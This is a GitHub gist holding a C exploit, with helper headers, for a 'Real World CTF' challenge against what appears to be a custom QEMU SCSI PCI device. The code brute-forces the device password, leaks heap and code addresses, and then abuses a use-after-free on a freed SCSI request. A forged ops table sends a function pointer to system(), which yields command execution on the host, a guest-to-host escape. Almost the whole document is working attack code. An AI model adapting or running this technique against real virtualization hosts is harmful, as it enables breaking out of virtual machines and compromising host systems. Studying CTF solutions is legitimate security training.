Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@ducphanduyagentp
Forked from sampritipanda/exploit.c
Created February 17, 2019 01:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ducphanduyagentp/2464e3b5e737cdd70c95976942c15491 to your computer and use it in GitHub Desktop.
Save ducphanduyagentp/2464e3b5e737cdd70c95976942c15491 to your computer and use it in GitHub Desktop.
Real World CTF - SCSI Driver Exploitation Challenge
#include <stdint.h>
#include <sys/io.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <assert.h>
#include "virt_to_phys.c"
#include "scsi.h"
void* iomem;
void iowrite_8(uint32_t offset, uint8_t value) {
*((uint8_t*)(iomem + offset)) = value;
}
uint8_t ioread_8(uint32_t offset) {
return *((uint8_t*)(iomem + offset));
}
void iowrite_16(uint32_t offset, uint16_t value) {
*((uint16_t*)(iomem + offset)) = value;
}
uint16_t ioread_16(uint32_t offset) {
return *((uint16_t*)(iomem + offset));
}
void iowrite_32(uint32_t offset, uint32_t value) {
*((uint32_t*)(iomem + offset)) = value;
}
uint32_t ioread_32(uint32_t offset) {
return *((uint32_t*)(iomem + offset));
}
uint64_t ioread_64(uint32_t offset) {
return *((uint64_t*)(iomem + offset));
}
void iowrite_64(uint32_t offset, uint64_t value) {
*((uint64_t*)(iomem + offset)) = value;
}
struct CTF_req_head {
uint8_t target_id;
uint8_t target_bus;
uint8_t lun;
uint8_t pad;
unsigned int buf_len;
int type;
};
typedef struct CTF_req_head CTF_req_head;
struct CTF_req {
CTF_req_head head;
char cmd_buf[200];
};
typedef struct CTF_req CTF_req;
static volatile char buf[1024];
#define WAIT_TIME 0.5 * 1000000
int main() {
// Do some dummy writes to the entire buffer array
for(int i = 0; i < 1024; i++) {
buf[i] = '\xff';
}
printf("buffer vaddr: %p\n", (void*)&buf);
printf("pid: %ju\n", (uintmax_t)getpid());
uintptr_t paddr;
virt_to_phys_user(&paddr, (pid_t)getpid(), (uintptr_t)&buf);
printf("buffer paddr: 0x%lx\n", paddr);
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
iomem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
printf("iomem @ %p\n", iomem);
// reset driver
iowrite_32(12, 0);
printf("state: %d\n", ioread_32(0));
iowrite_8(4, 'B');
iowrite_8(4, 'L');
iowrite_8(4, 'U');
iowrite_8(4, 'E');
printf("state: %d\n", ioread_32(0));
iowrite_32(0, 0);
// Write paddr to register_b
iowrite_32(20, paddr);
CTF_req req;
req.head.target_id = 0;
req.head.target_bus = 0;
req.head.lun = 0;
req.head.pad = 0;
req.head.type = 0;
req.head.buf_len = 6;
char tmp[] = "\x08\x00\x00\x10\x04\x00";
for(int i = 0; i < req.head.buf_len; i++) {
req.cmd_buf[i] = tmp[i];
}
memcpy((void*)&buf, &req, sizeof(req));
printf("Handled UNIT_ATTENTION\n"); usleep(WAIT_TIME);
iowrite_32(8, paddr);
printf("Write some data to dma_buf\n"); usleep(WAIT_TIME);
iowrite_32(8, paddr);
printf("Get a hung request because data is in dma_buf\n"); usleep(WAIT_TIME);
iowrite_32(8, paddr);
req.head.target_id = 1;
req.head.target_bus = 1;
req.head.lun = 1;
memcpy((void*)&buf, &req, sizeof(req));
printf("Leaking 16 bytes after password\n"); usleep(WAIT_TIME);
assert(ioread_32(20) == 4);
char leak_buf[20] = {'B', 'L', 'U', 'E'};
for(int i = 4; i < 20; i++) {
iowrite_8(4, 'A'); iowrite_8(4, 'A'); iowrite_8(4, 'A'); iowrite_8(4, 'A'); // Reset
for(int j = 0; j < 256; j++) {
leak_buf[i] = j;
for(int k = 0; k <= i; k++) {
iowrite_8(4, leak_buf[k]);
}
if(ioread_32(20) == i+1) break;
}
}
uint64_t cur_req_addr = *((uint64_t*)&leak_buf[4]);
uint64_t ctf_dma_read_addr = *((uint64_t*)&leak_buf[12]);
printf("cur_req addr: %p\n", (void*)cur_req_addr);
printf("ctf_dma_read addr: %p\n", (void*)ctf_dma_read_addr);
printf("Free prev request, and send invalid device, now we have a freed request in ctf->cur_req\n"); usleep(WAIT_TIME);
iowrite_32(8, paddr);
printf("Call ctf_process_reply to set up state properly.\n"); usleep(WAIT_TIME);
iowrite_32(24, 1);
SCSIRequest cur_req;
printf("Enter command: ");
fgets((char*)&cur_req.bus, 16, stdin);
cur_req.ops = (void*)(cur_req_addr + ((uint64_t)&cur_req.hba_private - (uint64_t)&cur_req) - 0x28); // cur_req->ops->get_buf == &cur_req.hba_private
cur_req.hba_private = (void*)(ctf_dma_read_addr + -3164181); // bin.plt['system'] - bin.symbols['ctf_dma_read']
printf("System Address (cur_req.ops): %p\n", cur_req.ops);
printf("Alloc new buf over freed request and set up fake request object.\n"); usleep(WAIT_TIME);
memcpy((void*)buf, (void*)&cur_req, sizeof(SCSIRequest));
iowrite_32(28, 0x1f8);
// Call ctf_process_reply
printf("Call scsi_req_get_buf to exploit.\n"); usleep(WAIT_TIME);
iowrite_32(24, 1);
}
/*
* Make a fake request first to capture the Unit Attention.
* *(scsi_req_unref+272) => g_free(req);
*/
#include <stdbool.h>
#define SCSI_SENSE_BUF_SIZE 252
#define SCSI_CMD_BUF_SIZE 16
#define SCSI_SENSE_LEN 18
#define SCSI_SENSE_LEN_SCANNER 32
#define SCSI_INQUIRY_LEN 36
enum SCSIXferMode {
SCSI_XFER_NONE, /* TEST_UNIT_READY, ... */
SCSI_XFER_FROM_DEV, /* READ, INQUIRY, MODE_SENSE, ... */
SCSI_XFER_TO_DEV, /* WRITE, MODE_SELECT, ... */
};
typedef struct SCSICommand {
uint8_t buf[SCSI_CMD_BUF_SIZE];
int len;
size_t xfer;
uint64_t lba;
enum SCSIXferMode mode;
} SCSICommand;
typedef struct SCSIReqOps SCSIReqOps;
typedef struct SCSIRequest SCSIRequest;
typedef struct NotifierList {
void* dummy;
} NotifierList;
struct SCSIRequest {
void *bus;
void *dev;
const SCSIReqOps *ops;
uint32_t refcount;
uint32_t tag;
uint32_t lun;
uint32_t status;
void *hba_private;
size_t resid;
SCSICommand cmd;
NotifierList cancel_notifiers;
/* Note:
* - fields before sense are initialized by scsi_req_alloc;
* - sense[] is uninitialized;
* - fields after sense are memset to 0 by scsi_req_alloc.
* */
uint8_t sense[SCSI_SENSE_BUF_SIZE];
uint32_t sense_len;
bool enqueued;
bool io_canceled;
bool retry;
bool dma_started;
};
struct SCSIReqOps {
size_t size;
void (*free_req)(SCSIRequest *req);
int32_t (*send_command)(SCSIRequest *req, uint8_t *buf);
void (*read_data)(SCSIRequest *req);
void (*write_data)(SCSIRequest *req);
uint8_t *(*get_buf)(SCSIRequest *req);
void (*save_request)(void *f, SCSIRequest *req);
void (*load_request)(void *f, SCSIRequest *req);
};
#include <fcntl.h> /* open */
#include <stdint.h> /* uint64_t */
#include <stdio.h> /* printf */
#include <stdlib.h> /* size_t */
#include <unistd.h> /* pread, sysconf */
typedef struct {
uint64_t pfn : 54;
unsigned int soft_dirty : 1;
unsigned int file_page : 1;
unsigned int swapped : 1;
unsigned int present : 1;
} PagemapEntry;
/* Parse the pagemap entry for the given virtual address.
*
* @param[out] entry the parsed entry
* @param[in] pagemap_fd file descriptor to an open /proc/pid/pagemap file
* @param[in] vaddr virtual address to get entry for
* @return 0 for success, 1 for failure
*/
int pagemap_get_entry(PagemapEntry *entry, int pagemap_fd, uintptr_t vaddr)
{
size_t nread;
ssize_t ret;
uint64_t data;
nread = 0;
while (nread < sizeof(data)) {
ret = pread(pagemap_fd, &data, sizeof(data),
(vaddr / sysconf(_SC_PAGE_SIZE)) * sizeof(data) + nread);
nread += ret;
if (ret <= 0) {
return 1;
}
}
entry->pfn = data & (((uint64_t)1 << 54) - 1);
entry->soft_dirty = (data >> 54) & 1;
entry->file_page = (data >> 61) & 1;
entry->swapped = (data >> 62) & 1;
entry->present = (data >> 63) & 1;
return 0;
}
/* Convert the given virtual address to physical using /proc/PID/pagemap.
*
* @param[out] paddr physical address
* @param[in] pid process to convert for
* @param[in] vaddr virtual address to get entry for
* @return 0 for success, 1 for failure
*/
int virt_to_phys_user(uintptr_t *paddr, pid_t pid, uintptr_t vaddr)
{
char pagemap_file[BUFSIZ];
int pagemap_fd;
snprintf(pagemap_file, sizeof(pagemap_file), "/proc/%ju/pagemap", (uintmax_t)pid);
pagemap_fd = open(pagemap_file, O_RDONLY);
if (pagemap_fd < 0) {
return 1;
}
PagemapEntry entry;
if (pagemap_get_entry(&entry, pagemap_fd, vaddr)) {
return 1;
}
close(pagemap_fd);
*paddr = (entry.pfn * sysconf(_SC_PAGE_SIZE)) + (vaddr % sysconf(_SC_PAGE_SIZE));
return 0;
}
/*
int main(int argc, char **argv)
{
pid_t pid;
uintptr_t vaddr, paddr = 0;
if (argc < 3) {
printf("Usage: %s pid vaddr\n", argv[0]);
return EXIT_FAILURE;
}
pid = strtoull(argv[1], NULL, 0);
vaddr = strtoull(argv[2], NULL, 0);
if (virt_to_phys_user(&paddr, pid, vaddr)) {
fprintf(stderr, "error: virt_to_phys_user\n");
return EXIT_FAILURE;
};
printf("0x%jx\n", (uintmax_t)paddr);
return EXIT_SUCCESS;
}
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment